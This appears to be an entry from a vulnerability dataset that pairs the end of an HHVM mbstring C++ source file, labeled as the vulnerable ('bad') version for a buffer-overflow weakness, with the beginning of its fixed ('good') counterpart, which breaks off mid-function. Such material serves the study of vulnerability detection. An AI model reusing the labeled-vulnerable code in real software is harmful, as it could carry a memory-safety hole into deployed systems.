&& end <= len) { ret.toArrRef().append( String((const char *)(str + beg), end - beg, CopyString)); } else { ret.toArrRef().append(false); } } break; default: ret = true; break; } end = MBSTRG(search_regs)->end[0]; if (pos < end) { MBSTRG(search_pos) = end; } else { MBSTRG(search_pos) = pos + 1; } } if (err < 0) { onig_region_free(MBSTRG(search_regs), 1); MBSTRG(search_regs) = (OnigRegion *)nullptr; } return ret; } Variant HHVM_FUNCTION(mb_ereg_search, const Variant& opt_pattern, const Variant& opt_option) { const String pattern = convertArg(opt_pattern); const String option = convertArg(opt_option); return _php_mb_regex_ereg_search_exec(pattern, option, 0); } Variant HHVM_FUNCTION(mb_ereg_search_pos, const Variant& opt_pattern, const Variant& opt_option) { const String pattern = convertArg(opt_pattern); const String option = convertArg(opt_option); return _php_mb_regex_ereg_search_exec(pattern, option, 1); } Variant HHVM_FUNCTION(mb_ereg_search_regs, const Variant& opt_pattern, const Variant& opt_option) { const String pattern = convertArg(opt_pattern); const String option = convertArg(opt_option); return _php_mb_regex_ereg_search_exec(pattern, option, 2); } static Variant _php_mb_regex_ereg_exec(const Variant& pattern, const String& str, Variant *regs, int icase) { php_mb_regex_t *re; OnigRegion *regions = nullptr; int i, match_len, beg, end; OnigOptionType options; options = MBSTRG(regex_default_options); if (icase) { options |= ONIG_OPTION_IGNORECASE; } /* compile the regular expression from the supplied regex */ String spattern; if (!pattern.isString()) { /* we convert numbers to integers and treat them as a string */ if (pattern.is(KindOfDouble)) { spattern = String(pattern.toInt64()); /* get rid of decimal places */ } else { spattern = pattern.toString(); } } else { spattern = pattern.toString(); } re = php_mbregex_compile_pattern(spattern, options, MBSTRG(current_mbctype), MBSTRG(regex_default_syntax)); if (re == nullptr) { return false; } regions = onig_region_new(); /* actually execute the regular expression */ if (onig_search(re, (OnigUChar *)str.data(), (OnigUChar *)(str.data() + str.size()), (OnigUChar *)str.data(), (OnigUChar *)(str.data() + str.size()), regions, 0) < 0) { onig_region_free(regions, 1); return false; } const char *s = str.data(); int string_len = str.size(); match_len = regions->end[0] - regions->beg[0]; PackedArrayInit regsPai(regions->num_regs); for (i = 0; i < regions->num_regs; i++) { beg = regions->beg[i]; end = regions->end[i]; if (beg >= 0 && beg < end && end <= string_len) { regsPai.append(String(s + beg, end - beg, CopyString)); } else { regsPai.append(false); } } if (regs) *regs = regsPai.toArray(); if (match_len == 0) { match_len = 1; } if (regions != nullptr) { onig_region_free(regions, 1); } return match_len; } Variant HHVM_FUNCTION(mb_ereg, const Variant& pattern, const String& str, Variant& regs) { return _php_mb_regex_ereg_exec(pattern, str, &regs, 0); } Variant HHVM_FUNCTION(mb_eregi, const Variant& pattern, const String& str, Variant& regs) { return _php_mb_regex_ereg_exec(pattern, str, &regs, 1); } Variant HHVM_FUNCTION(mb_regex_encoding, const Variant& opt_encoding) { const String encoding = convertArg(opt_encoding); if (encoding.empty()) { const char *retval = php_mb_regex_mbctype2name(MBSTRG(current_mbctype)); if (retval != nullptr) { return String(retval, CopyString); } return false; } OnigEncoding mbctype = php_mb_regex_name2mbctype(encoding.data()); if (mbctype == ONIG_ENCODING_UNDEF) { raise_warning("Unknown encoding \"%s\"", encoding.data()); return false; } MBSTRG(current_mbctype) = mbctype; return true; } static void php_mb_regex_set_options(OnigOptionType options, OnigSyntaxType *syntax, OnigOptionType *prev_options, OnigSyntaxType **prev_syntax) { if (prev_options != nullptr) { *prev_options = MBSTRG(regex_default_options); } if (prev_syntax != nullptr) { *prev_syntax = MBSTRG(regex_default_syntax); } MBSTRG(regex_default_options) = options; MBSTRG(regex_default_syntax) = syntax; } String HHVM_FUNCTION(mb_regex_set_options, const Variant& opt_options) { const String options = convertArg(opt_options); OnigOptionType opt; OnigSyntaxType *syntax; char buf[16]; if (!options.empty()) { opt = 0; syntax = nullptr; _php_mb_regex_init_options(options.data(), options.size(), &opt, &syntax, nullptr); php_mb_regex_set_options(opt, syntax, nullptr, nullptr); } else { opt = MBSTRG(regex_default_options); syntax = MBSTRG(regex_default_syntax); } _php_mb_regex_get_option_string(buf, sizeof(buf), opt, syntax); return String(buf, CopyString); } Variant HHVM_FUNCTION(mb_split, const String& pattern, const String& str, int count /* = -1 */) { php_mb_regex_t *re; OnigRegion *regs = nullptr; int n, err; if (count == 0) { count = 1; } /* create regex pattern buffer */ if ((re = php_mbregex_compile_pattern(pattern, MBSTRG(regex_default_options), MBSTRG(current_mbctype), MBSTRG(regex_default_syntax))) == nullptr) { return false; } Array ret; OnigUChar *pos0 = (OnigUChar *)str.data(); OnigUChar *pos_end = (OnigUChar *)(str.data() + str.size()); OnigUChar *pos = pos0; err = 0; regs = onig_region_new(); /* churn through str, generating array entries as we go */ while ((--count != 0) && (err = onig_search(re, pos0, pos_end, pos, pos_end, regs, 0)) >= 0) { if (regs->beg[0] == regs->end[0]) { raise_warning("Empty regular expression"); break; } /* add it to the array */ if (regs->beg[0] < str.size() && regs->beg[0] >= (pos - pos0)) { ret.append(String((const char *)pos, ((OnigUChar *)(str.data() + regs->beg[0]) - pos), CopyString)); } else { err = -2; break; } /* point at our new starting point */ n = regs->end[0]; if ((pos - pos0) < n) { pos = pos0 + n; } if (count < 0) { count = 0; } onig_region_free(regs, 0); } onig_region_free(regs, 1); /* see if we encountered an error */ if (err <= -2) { OnigUChar err_str[ONIG_MAX_ERROR_MESSAGE_LEN]; onig_error_code_to_str(err_str, err); raise_warning("mbregex search failure in mbsplit(): %s", err_str); return false; } /* otherwise we just have one last element to add to the array */ n = pos_end - pos; if (n > 0) { ret.append(String((const char *)pos, n, CopyString)); } else { ret.append(""); } return ret; } /////////////////////////////////////////////////////////////////////////////// #define SKIP_LONG_HEADER_SEP_MBSTRING(str, pos) \ if (str[pos] == '\r' && str[pos + 1] == '\n' && \ (str[pos + 2] == ' ' || str[pos + 2] == '\t')) { \ pos += 2; \ while (str[pos + 1] == ' ' || str[pos + 1] == '\t') { \ pos++; \ } \ continue; \ } static int _php_mbstr_parse_mail_headers(Array &ht, const char *str, size_t str_len) { const char *ps; size_t icnt; int state = 0; int crlf_state = -1; StringBuffer token; String fld_name, fld_val; ps = str; icnt = str_len; /* * C o n t e n t - T y p e : t e x t / h t m l \r\n * ^ ^^^^^^^^^^^^^^^^^^^^^ ^^^ ^^^^^^^^^^^^^^^^^ ^^^^ * state 0 1 2 3 * * C o n t e n t - T y p e : t e x t / h t m l \r\n * ^ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ^^^^ * crlf_state -1 0 1 -1 * */ while (icnt > 0) { switch (*ps) { case ':': if (crlf_state == 1) { token.append('\r'); } if (state == 0 || state == 1) { fld_name = token.detach(); state = 2; } else { token.append(*ps); } crlf_state = 0; break; case '\n': if (crlf_state == -1) { goto out; } crlf_state = -1; break; case '\r': if (crlf_state == 1) { token.append('\r'); } else { crlf_state = 1; } break; case ' ': case '\t': if (crlf_state == -1) { if (state == 3) { /* continuing from the previous line */ state = 4; } else { /* simply skipping this new line */ state = 5; } } else { if (crlf_state == 1) { token.append('\r'); } if (state == 1 || state == 3) { token.append(*ps); } } crlf_state = 0; break; default: switch (state) { case 0: token.clear(); state = 1; break; case 2: if (crlf_state != -1) { token.clear(); state = 3; break; } /* break is missing intentionally */ case 3: if (crlf_state == -1) { fld_val = token.detach(); if (!fld_name.empty() && !fld_val.empty()) { /* FIXME: some locale free implementation is * really required here,,, */ ht.set(HHVM_FN(strtoupper)(fld_name), fld_val); } state = 1; } break; case 4: token.append(' '); state = 3; break; } if (crlf_state == 1) { token.append('\r'); } token.append(*ps); crlf_state = 0; break; } ps++, icnt--; } out: if (state == 2) { token.clear(); state = 3; } if (state == 3) { fld_val = token.detach(); if (!fld_name.empty() && !fld_val.empty()) { /* FIXME: some locale free implementation is * really required here,,, */ ht.set(HHVM_FN(strtoupper)(fld_name), fld_val); } } return state; } static int php_mail(const char *to, const char *subject, const char *message, const char *headers, const char *extra_cmd) { const char *sendmail_path = "/usr/sbin/sendmail -t -i"; String sendmail_cmd = sendmail_path; if (extra_cmd != nullptr) { sendmail_cmd += " "; sendmail_cmd += extra_cmd; } /* Since popen() doesn't indicate if the internal fork() doesn't work * (e.g. the shell can't be executed) we explicitly set it to 0 to be * sure we don't catch any older errno value. */ errno = 0; FILE *sendmail = popen(sendmail_cmd.data(), "w"); if (sendmail == nullptr) { raise_warning("Could not execute mail delivery program '%s'", sendmail_path); return 0; } if (EACCES == errno) { raise_warning("Permission denied: unable to execute shell to run " "mail delivery binary '%s'", sendmail_path); pclose(sendmail); return 0; } fprintf(sendmail, "To: %s\n", to); fprintf(sendmail, "Subject: %s\n", subject); if (headers != nullptr) { fprintf(sendmail, "%s\n", headers); } fprintf(sendmail, "\n%s\n", message); int ret = pclose(sendmail); #if defined(EX_TEMPFAIL) if ((ret != EX_OK) && (ret != EX_TEMPFAIL)) return 0; #elif defined(EX_OK) if (ret != EX_OK) return 0; #else if (ret != 0) return 0; #endif return 1; } bool HHVM_FUNCTION(mb_send_mail, const String& to, const String& subject, const String& message, const Variant& opt_headers, const Variant& opt_extra_cmd) { const String headers = convertArg(opt_headers); const String extra_cmd = convertArg(opt_extra_cmd); /* initialize */ /* automatic allocateable buffer for additional header */ mbfl_memory_device device; mbfl_memory_device_init(&device, 0, 0); mbfl_string orig_str, conv_str; mbfl_string_init(&orig_str); mbfl_string_init(&conv_str); /* character-set, transfer-encoding */ mbfl_no_encoding tran_cs, /* transfar text charset */ head_enc, /* header transfar encoding */ body_enc; /* body transfar encoding */ tran_cs = mbfl_no_encoding_utf8; head_enc = mbfl_no_encoding_base64; body_enc = mbfl_no_encoding_base64; const mbfl_language *lang = mbfl_no2language(MBSTRG(current_language)); if (lang != nullptr) { tran_cs = lang->mail_charset; head_enc = lang->mail_header_encoding; body_enc = lang->mail_body_encoding; } Array ht_headers; if (!headers.empty()) { _php_mbstr_parse_mail_headers(ht_headers, headers.data(), headers.size()); } struct { unsigned int cnt_type:1; unsigned int cnt_trans_enc:1; } suppressed_hdrs = { 0, 0 }; static const StaticString s_CONTENT_TYPE("CONTENT-TYPE"); String s = ht_headers[s_CONTENT_TYPE].toString(); if (!s.isNull()) { char *tmp; char *param_name; char *charset = nullptr; char *p = const_cast<char*>(strchr(s.data(), ';')); if (p != nullptr) { /* skipping the padded spaces */ do { ++p; } while (*p == ' ' || *p == '\t'); if (*p != '\0') { if ((param_name = strtok_r(p, "= ", &tmp)) != nullptr) { if (strcasecmp(param_name, "charset") == 0) { mbfl_no_encoding _tran_cs = tran_cs; charset = strtok_r(nullptr, "= ", &tmp); if (charset != nullptr) { _tran_cs = mbfl_name2no_encoding(charset); } if (_tran_cs == mbfl_no_encoding_invalid) { raise_warning("Unsupported charset \"%s\" - " "will be regarded as ascii", charset); _tran_cs = mbfl_no_encoding_ascii; } tran_cs = _tran_cs; } } } } suppressed_hdrs.cnt_type = 1; } static const StaticString s_CONTENT_TRANSFER_ENCODING("CONTENT-TRANSFER-ENCODING"); s = ht_headers[s_CONTENT_TRANSFER_ENCODING].toString(); if (!s.isNull()) { mbfl_no_encoding _body_enc = mbfl_name2no_encoding(s.data()); switch (_body_enc) { case mbfl_no_encoding_base64: case mbfl_no_encoding_7bit: case mbfl_no_encoding_8bit: body_enc = _body_enc; break; default: raise_warning("Unsupported transfer encoding \"%s\" - " "will be regarded as 8bit", s.data()); body_enc = mbfl_no_encoding_8bit; break; } suppressed_hdrs.cnt_trans_enc = 1; } /* To: */ char *to_r = nullptr; int err = 0; if (auto to_len = strlen(to.data())) { // not to.size() to_r = req::strndup(to.data(), to_len); for (; to_len; to_len--) { if (!isspace((unsigned char)to_r[to_len - 1])) { break; } to_r[to_len - 1] = '\0'; } for (size_t i = 0; to_r[i]; i++) { if (iscntrl((unsigned char)to_r[i])) { /** * According to RFC 822, section 3.1.1 long headers may be * separated into parts using CRLF followed at least one * linear-white-space character ('\t' or ' '). * To prevent these separators from being replaced with a space, * we use the SKIP_LONG_HEADER_SEP_MBSTRING to skip over them. */ SKIP_LONG_HEADER_SEP_MBSTRING(to_r, i); to_r[i] = ' '; } } } else { raise_warning("Missing To: field"); err = 1; } /* Subject: */ String encoded_subject; if (!subject.isNull()) { orig_str.no_language = MBSTRG(current_language); orig_str.val = (unsigned char *)subject.data(); orig_str.len = subject.size(); orig_str.no_encoding = MBSTRG(current_internal_encoding)->no_encoding; if (orig_str.no_encoding == mbfl_no_encoding_invalid || orig_str.no_encoding == mbfl_no_encoding_pass) { mbfl_encoding *encoding = (mbfl_encoding*) mbfl_identify_encoding2(&orig_str, (const mbfl_encoding**) MBSTRG(current_detect_order_list), MBSTRG(current_detect_order_list_size), MBSTRG(strict_detection)); orig_str.no_encoding = encoding != nullptr ? encoding->no_encoding : mbfl_no_encoding_invalid; } mbfl_string *pstr = mbfl_mime_header_encode (&orig_str, &conv_str, tran_cs, head_enc, "\n", sizeof("Subject: [PHP-jp nnnnnnnn]")); if (pstr != nullptr) { encoded_subject = String(reinterpret_cast<char*>(pstr->val), pstr->len, AttachString); } } else { raise_warning("Missing Subject: field"); err = 1; } /* message body */ String encoded_message; if (!message.empty()) { orig_str.no_language = MBSTRG(current_language); orig_str.val = (unsigned char*)message.data(); orig_str.len = message.size(); orig_str.no_encoding = MBSTRG(current_internal_encoding)->no_encoding; if (orig_str.no_encoding == mbfl_no_encoding_invalid || orig_str.no_encoding == mbfl_no_encoding_pass) { mbfl_encoding *encoding = (mbfl_encoding*) mbfl_identify_encoding2(&orig_str, (const mbfl_encoding**) MBSTRG(current_detect_order_list), MBSTRG(current_detect_order_list_size), MBSTRG(strict_detection)); orig_str.no_encoding = encoding != nullptr ? encoding->no_encoding : mbfl_no_encoding_invalid; } mbfl_string *pstr = nullptr; { mbfl_string tmpstr; if (mbfl_convert_encoding(&orig_str, &tmpstr, tran_cs) != nullptr) { tmpstr.no_encoding = mbfl_no_encoding_8bit; pstr = mbfl_convert_encoding(&tmpstr, &conv_str, body_enc); free(tmpstr.val); } } if (pstr != nullptr) { encoded_message = String(reinterpret_cast<char*>(pstr->val), pstr->len, AttachString); } } else { /* this is not really an error, so it is allowed. */ raise_warning("Empty message body"); } /* other headers */ #define PHP_MBSTR_MAIL_MIME_HEADER1 "Mime-Version: 1.0" #define PHP_MBSTR_MAIL_MIME_HEADER2 "Content-Type: text/plain" #define PHP_MBSTR_MAIL_MIME_HEADER3 "; charset=" #define PHP_MBSTR_MAIL_MIME_HEADER4 "Content-Transfer-Encoding: " if (!headers.empty()) { const char *p = headers.data(); int n = headers.size(); mbfl_memory_device_strncat(&device, p, n); if (n > 0 && p[n - 1] != '\n') { mbfl_memory_device_strncat(&device, "\n", 1); } } mbfl_memory_device_strncat(&device, PHP_MBSTR_MAIL_MIME_HEADER1, sizeof(PHP_MBSTR_MAIL_MIME_HEADER1) - 1); mbfl_memory_device_strncat(&device, "\n", 1); if (!suppressed_hdrs.cnt_type) { mbfl_memory_device_strncat(&device, PHP_MBSTR_MAIL_MIME_HEADER2, sizeof(PHP_MBSTR_MAIL_MIME_HEADER2) - 1); char *p = (char *)mbfl_no2preferred_mime_name(tran_cs); if (p != nullptr) { mbfl_memory_device_strncat(&device, PHP_MBSTR_MAIL_MIME_HEADER3, sizeof(PHP_MBSTR_MAIL_MIME_HEADER3) - 1); mbfl_memory_device_strcat(&device, p); } mbfl_memory_device_strncat(&device, "\n", 1); } if (!suppressed_hdrs.cnt_trans_enc) { mbfl_memory_device_strncat(&device, PHP_MBSTR_MAIL_MIME_HEADER4, sizeof(PHP_MBSTR_MAIL_MIME_HEADER4) - 1); const char *p = (char *)mbfl_no2preferred_mime_name(body_enc); if (p == nullptr) { p = "7bit"; } mbfl_memory_device_strcat(&device, p); mbfl_memory_device_strncat(&device, "\n", 1); } mbfl_memory_device_unput(&device); mbfl_memory_device_output('\0', &device); char *all_headers = (char *)device.buffer; String cmd = string_escape_shell_cmd(extra_cmd.c_str()); bool ret = (!err && php_mail(to_r, encoded_subject.data(), encoded_message.data(), all_headers, cmd.data())); mbfl_memory_device_clear(&device); req::free(to_r); return ret; } static struct mbstringExtension final : Extension { mbstringExtension() : Extension("mbstring", NO_EXTENSION_VERSION_YET) {} void moduleInit() override { // TODO make these PHP_INI_ALL and thread local once we use them IniSetting::Bind(this, IniSetting::PHP_INI_SYSTEM, "mbstring.http_input", &http_input); IniSetting::Bind(this, IniSetting::PHP_INI_SYSTEM, "mbstring.http_output", &http_output); IniSetting::Bind(this, IniSetting::PHP_INI_ALL, "mbstring.substitute_character", &MBSTRG(current_filter_illegal_mode)); HHVM_RC_INT(MB_OVERLOAD_MAIL, 1); HHVM_RC_INT(MB_OVERLOAD_STRING, 2); HHVM_RC_INT(MB_OVERLOAD_REGEX, 4); HHVM_RC_INT(MB_CASE_UPPER, PHP_UNICODE_CASE_UPPER); HHVM_RC_INT(MB_CASE_LOWER, PHP_UNICODE_CASE_LOWER); HHVM_RC_INT(MB_CASE_TITLE, PHP_UNICODE_CASE_TITLE); HHVM_FE(mb_list_encodings); HHVM_FE(mb_list_encodings_alias_names); HHVM_FE(mb_list_mime_names); HHVM_FE(mb_check_encoding); HHVM_FE(mb_convert_case); HHVM_FE(mb_convert_encoding); HHVM_FE(mb_convert_kana); HHVM_FE(mb_convert_variables); HHVM_FE(mb_decode_mimeheader); HHVM_FE(mb_decode_numericentity); HHVM_FE(mb_detect_encoding); HHVM_FE(mb_detect_order); HHVM_FE(mb_encode_mimeheader); HHVM_FE(mb_encode_numericentity); HHVM_FE(mb_encoding_aliases); HHVM_FE(mb_ereg_match); HHVM_FE(mb_ereg_replace); HHVM_FE(mb_ereg_search_getpos); HHVM_FE(mb_ereg_search_getregs); HHVM_FE(mb_ereg_search_init); HHVM_FE(mb_ereg_search_pos); HHVM_FE(mb_ereg_search_regs); HHVM_FE(mb_ereg_search_setpos); HHVM_FE(mb_ereg_search); HHVM_FE(mb_ereg); HHVM_FE(mb_eregi_replace); HHVM_FE(mb_eregi); HHVM_FE(mb_get_info); HHVM_FE(mb_http_input); HHVM_FE(mb_http_output); HHVM_FE(mb_internal_encoding); HHVM_FE(mb_language); HHVM_FE(mb_output_handler); HHVM_FE(mb_parse_str); HHVM_FE(mb_preferred_mime_name); HHVM_FE(mb_regex_encoding); HHVM_FE(mb_regex_set_options); HHVM_FE(mb_send_mail); HHVM_FE(mb_split); HHVM_FE(mb_strcut); HHVM_FE(mb_strimwidth); HHVM_FE(mb_stripos); HHVM_FE(mb_stristr); HHVM_FE(mb_strlen); HHVM_FE(mb_strpos); HHVM_FE(mb_strrchr); HHVM_FE(mb_strrichr); HHVM_FE(mb_strripos); HHVM_FE(mb_strrpos); HHVM_FE(mb_strstr); HHVM_FE(mb_strtolower); HHVM_FE(mb_strtoupper); HHVM_FE(mb_strwidth); HHVM_FE(mb_substitute_character); HHVM_FE(mb_substr_count); HHVM_FE(mb_substr); loadSystemlib(); } static std::string http_input; static std::string http_output; static std::string substitute_character; } s_mbstring_extension; std::string mbstringExtension::http_input = "pass"; std::string mbstringExtension::http_output = "pass"; /////////////////////////////////////////////////////////////////////////////// }
./CrossVul/dataset_final_sorted/CWE-120/cpp/bad_850_0
crossvul-cpp_data_good_850_0
/* +----------------------------------------------------------------------+ | HipHop for PHP | +----------------------------------------------------------------------+ | Copyright (c) 2010-present Facebook, Inc. (http://www.facebook.com) | | Copyright (c) 1997-2010 The PHP Group | +----------------------------------------------------------------------+ | This source file is subject to version 3.01 of the PHP license, | | that is bundled with this package in the file LICENSE, and is | | available through the world-wide-web at the following url: | | http://www.php.net/license/3_01.txt | | If you did not receive a copy of the PHP license and are unable to | | obtain it through the world-wide-web, please send a note to | | license@php.net so we can mail you a copy immediately. | +----------------------------------------------------------------------+ */ #include "hphp/runtime/ext/mbstring/ext_mbstring.h" #include "hphp/runtime/base/array-init.h" #include "hphp/runtime/base/execution-context.h" #include "hphp/runtime/base/ini-setting.h" #include "hphp/runtime/base/request-event-handler.h" #include "hphp/runtime/base/string-buffer.h" #include "hphp/runtime/base/zend-string.h" #include "hphp/runtime/base/zend-url.h" #include "hphp/runtime/ext/mbstring/php_unicode.h" #include "hphp/runtime/ext/mbstring/unicode_data.h" #include "hphp/runtime/ext/std/ext_std_output.h" #include "hphp/runtime/ext/string/ext_string.h" #include "hphp/util/rds-local.h" #include <map> extern "C" { #include <mbfl/mbfl_convert.h> #include <mbfl/mbfilter.h> #include <mbfl/mbfilter_pass.h> #include <oniguruma.h> } #define php_mb_re_pattern_buffer re_pattern_buffer #define php_mb_regex_t regex_t #define php_mb_re_registers re_registers extern void mbfl_memory_device_unput(mbfl_memory_device *device); #define PARSE_POST 0 #define PARSE_GET 1 #define PARSE_COOKIE 2 #define PARSE_STRING 3 #define PARSE_ENV 4 #define PARSE_SERVER 5 #define PARSE_SESSION 6 namespace HPHP { /////////////////////////////////////////////////////////////////////////////// // statics #define PHP_MBSTR_STACK_BLOCK_SIZE 32 typedef struct _php_mb_nls_ident_list { mbfl_no_language lang; mbfl_no_encoding* list; int list_size; } php_mb_nls_ident_list; static mbfl_no_encoding php_mb_default_identify_list_ja[] = { mbfl_no_encoding_ascii, mbfl_no_encoding_jis, mbfl_no_encoding_utf8, mbfl_no_encoding_euc_jp, mbfl_no_encoding_sjis }; static mbfl_no_encoding php_mb_default_identify_list_cn[] = { mbfl_no_encoding_ascii, mbfl_no_encoding_utf8, mbfl_no_encoding_euc_cn, mbfl_no_encoding_cp936 }; static mbfl_no_encoding php_mb_default_identify_list_tw_hk[] = { mbfl_no_encoding_ascii, mbfl_no_encoding_utf8, mbfl_no_encoding_euc_tw, mbfl_no_encoding_big5 }; static mbfl_no_encoding php_mb_default_identify_list_kr[] = { mbfl_no_encoding_ascii, mbfl_no_encoding_utf8, mbfl_no_encoding_euc_kr, mbfl_no_encoding_uhc }; static mbfl_no_encoding php_mb_default_identify_list_ru[] = { mbfl_no_encoding_ascii, mbfl_no_encoding_utf8, mbfl_no_encoding_koi8r, mbfl_no_encoding_cp1251, mbfl_no_encoding_cp866 }; static mbfl_no_encoding php_mb_default_identify_list_hy[] = { mbfl_no_encoding_ascii, mbfl_no_encoding_utf8, mbfl_no_encoding_armscii8 }; static mbfl_no_encoding php_mb_default_identify_list_tr[] = { mbfl_no_encoding_ascii, mbfl_no_encoding_utf8, mbfl_no_encoding_8859_9 }; static mbfl_no_encoding php_mb_default_identify_list_neut[] = { mbfl_no_encoding_ascii, mbfl_no_encoding_utf8 }; static php_mb_nls_ident_list php_mb_default_identify_list[] = { { mbfl_no_language_japanese, php_mb_default_identify_list_ja, sizeof(php_mb_default_identify_list_ja) / sizeof(php_mb_default_identify_list_ja[0]) }, { mbfl_no_language_korean, php_mb_default_identify_list_kr, sizeof(php_mb_default_identify_list_kr) / sizeof(php_mb_default_identify_list_kr[0]) }, { mbfl_no_language_traditional_chinese, php_mb_default_identify_list_tw_hk, sizeof(php_mb_default_identify_list_tw_hk) / sizeof(php_mb_default_identify_list_tw_hk[0]) }, { mbfl_no_language_simplified_chinese, php_mb_default_identify_list_cn, sizeof(php_mb_default_identify_list_cn) / sizeof(php_mb_default_identify_list_cn[0]) }, { mbfl_no_language_russian, php_mb_default_identify_list_ru, sizeof(php_mb_default_identify_list_ru) / sizeof(php_mb_default_identify_list_ru[0]) }, { mbfl_no_language_armenian, php_mb_default_identify_list_hy, sizeof(php_mb_default_identify_list_hy) / sizeof(php_mb_default_identify_list_hy[0]) }, { mbfl_no_language_turkish, php_mb_default_identify_list_tr, sizeof(php_mb_default_identify_list_tr) / sizeof(php_mb_default_identify_list_tr[0]) }, { mbfl_no_language_neutral, php_mb_default_identify_list_neut, sizeof(php_mb_default_identify_list_neut) / sizeof(php_mb_default_identify_list_neut[0]) } }; /////////////////////////////////////////////////////////////////////////////// // globals typedef std::map<std::string, php_mb_regex_t *> RegexCache; struct MBGlobals final : RequestEventHandler { mbfl_no_language language; mbfl_no_language current_language; mbfl_encoding *internal_encoding; mbfl_encoding *current_internal_encoding; mbfl_encoding *http_output_encoding; mbfl_encoding *current_http_output_encoding; mbfl_encoding *http_input_identify; mbfl_encoding *http_input_identify_get; mbfl_encoding *http_input_identify_post; mbfl_encoding *http_input_identify_cookie; mbfl_encoding *http_input_identify_string; mbfl_encoding **http_input_list; int http_input_list_size; mbfl_encoding **detect_order_list; int detect_order_list_size; mbfl_encoding **current_detect_order_list; int current_detect_order_list_size; mbfl_no_encoding *default_detect_order_list; int default_detect_order_list_size; int filter_illegal_mode; int filter_illegal_substchar; int current_filter_illegal_mode; int current_filter_illegal_substchar; bool encoding_translation; long strict_detection; long illegalchars; mbfl_buffer_converter *outconv; OnigEncoding default_mbctype; OnigEncoding current_mbctype; RegexCache ht_rc; std::string search_str; unsigned int search_pos; php_mb_regex_t *search_re; OnigRegion *search_regs; OnigOptionType regex_default_options; OnigSyntaxType *regex_default_syntax; MBGlobals() : language(mbfl_no_language_uni), current_language(mbfl_no_language_uni), internal_encoding((mbfl_encoding*) mbfl_no2encoding(mbfl_no_encoding_utf8)), current_internal_encoding(internal_encoding), http_output_encoding((mbfl_encoding*) &mbfl_encoding_pass), current_http_output_encoding((mbfl_encoding*) &mbfl_encoding_pass), http_input_identify(nullptr), http_input_identify_get(nullptr), http_input_identify_post(nullptr), http_input_identify_cookie(nullptr), http_input_identify_string(nullptr), http_input_list(nullptr), http_input_list_size(0), detect_order_list(nullptr), detect_order_list_size(0), current_detect_order_list(nullptr), current_detect_order_list_size(0), default_detect_order_list ((mbfl_no_encoding *)php_mb_default_identify_list_neut), default_detect_order_list_size (sizeof(php_mb_default_identify_list_neut) / sizeof(php_mb_default_identify_list_neut[0])), filter_illegal_mode(MBFL_OUTPUTFILTER_ILLEGAL_MODE_CHAR), filter_illegal_substchar(0x3f), /* '?' */ current_filter_illegal_mode(MBFL_OUTPUTFILTER_ILLEGAL_MODE_CHAR), current_filter_illegal_substchar(0x3f), /* '?' */ encoding_translation(0), strict_detection(0), illegalchars(0), outconv(nullptr), default_mbctype(ONIG_ENCODING_UTF8), current_mbctype(ONIG_ENCODING_UTF8), search_pos(0), search_re((php_mb_regex_t*)nullptr), search_regs((OnigRegion*)nullptr), regex_default_options(ONIG_OPTION_MULTILINE | ONIG_OPTION_SINGLELINE), regex_default_syntax(ONIG_SYNTAX_RUBY) { } void requestInit() override { current_language = language; current_internal_encoding = internal_encoding; current_http_output_encoding = http_output_encoding; current_filter_illegal_mode = filter_illegal_mode; current_filter_illegal_substchar = filter_illegal_substchar; if (!encoding_translation) { illegalchars = 0; } mbfl_encoding **entry = nullptr; int n = 0; if (current_detect_order_list) { return; } if (detect_order_list && detect_order_list_size > 0) { n = detect_order_list_size; entry = (mbfl_encoding **)req::malloc_noptrs(n * sizeof(mbfl_encoding*)); std::copy(detect_order_list, detect_order_list + (n * sizeof(mbfl_encoding*)), entry); } else { mbfl_no_encoding *src = default_detect_order_list; n = default_detect_order_list_size; entry = (mbfl_encoding **)req::malloc_noptrs(n * sizeof(mbfl_encoding*)); for (int i = 0; i < n; i++) { entry[i] = (mbfl_encoding*) mbfl_no2encoding(src[i]); } } current_detect_order_list = entry; current_detect_order_list_size = n; } void requestShutdown() override { if (current_detect_order_list != nullptr) { req::free(current_detect_order_list); current_detect_order_list = nullptr; current_detect_order_list_size = 0; } if (outconv != nullptr) { illegalchars += mbfl_buffer_illegalchars(outconv); mbfl_buffer_converter_delete(outconv); outconv = nullptr; } /* clear http input identification. */ http_input_identify = nullptr; http_input_identify_post = nullptr; http_input_identify_get = nullptr; http_input_identify_cookie = nullptr; http_input_identify_string = nullptr; current_mbctype = default_mbctype; search_str.clear(); search_pos = 0; if (search_regs != nullptr) { onig_region_free(search_regs, 1); search_regs = (OnigRegion *)nullptr; } for (RegexCache::const_iterator it = ht_rc.begin(); it != ht_rc.end(); ++it) { onig_free(it->second); } ht_rc.clear(); } }; IMPLEMENT_STATIC_REQUEST_LOCAL(MBGlobals, s_mb_globals); #define MBSTRG(name) s_mb_globals->name /////////////////////////////////////////////////////////////////////////////// // unicode functions /* * A simple array of 32-bit masks for lookup. */ static unsigned long masks32[32] = { 0x00000001, 0x00000002, 0x00000004, 0x00000008, 0x00000010, 0x00000020, 0x00000040, 0x00000080, 0x00000100, 0x00000200, 0x00000400, 0x00000800, 0x00001000, 0x00002000, 0x00004000, 0x00008000, 0x00010000, 0x00020000, 0x00040000, 0x00080000, 0x00100000, 0x00200000, 0x00400000, 0x00800000, 0x01000000, 0x02000000, 0x04000000, 0x08000000, 0x10000000, 0x20000000, 0x40000000, 0x80000000 }; static int prop_lookup(unsigned long code, unsigned long n) { long l, r, m; /* * There is an extra node on the end of the offsets to allow this routine * to work right. If the index is 0xffff, then there are no nodes for the * property. */ if ((l = _ucprop_offsets[n]) == 0xffff) return 0; /* * Locate the next offset that is not 0xffff. The sentinel at the end of * the array is the max index value. */ for (m = 1; n + m < _ucprop_size && _ucprop_offsets[n + m] == 0xffff; m++) ; r = _ucprop_offsets[n + m] - 1; while (l <= r) { /* * Determine a "mid" point and adjust to make sure the mid point is at * the beginning of a range pair. */ m = (l + r) >> 1; m -= (m & 1); if (code > _ucprop_ranges[m + 1]) l = m + 2; else if (code < _ucprop_ranges[m]) r = m - 2; else if (code >= _ucprop_ranges[m] && code <= _ucprop_ranges[m + 1]) return 1; } return 0; } static int php_unicode_is_prop(unsigned long code, unsigned long mask1, unsigned long mask2) { unsigned long i; if (mask1 == 0 && mask2 == 0) return 0; for (i = 0; mask1 && i < 32; i++) { if ((mask1 & masks32[i]) && prop_lookup(code, i)) return 1; } for (i = 32; mask2 && i < _ucprop_size; i++) { if ((mask2 & masks32[i & 31]) && prop_lookup(code, i)) return 1; } return 0; } static unsigned long case_lookup(unsigned long code, long l, long r, int field) { long m; /* * 